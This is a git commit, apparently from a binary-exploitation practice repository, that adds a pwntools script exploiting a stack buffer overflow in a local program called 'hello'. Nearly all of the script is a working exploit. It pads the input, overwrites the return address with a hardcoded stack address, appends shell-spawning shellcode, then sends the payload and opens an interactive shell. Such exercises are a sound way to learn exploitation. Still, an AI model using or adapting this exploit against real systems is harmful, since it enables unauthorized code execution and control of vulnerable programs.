Finished stackoverflow/no-protection

This commit is contained in:
2021-08-30 22:56:18 +08:00
parent 6f60eb8de9
commit 6bec98d2e1
7 changed files with 35 additions and 0 deletions

View File

@@ -0,0 +1,15 @@
#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
import os
context.log_level="debug"
context(arch="amd64",os="linux")
p=process('./hello')
shellcode=asm(shellcraft.sh())
len_sc=len(shellcode)
payload=0x48*'0'+p64(0x00007ffff7a08118)+shellcode
with open('payload.txt', 'w') as f:
f.write(payload)
p.sendline(payload)
p.interactive()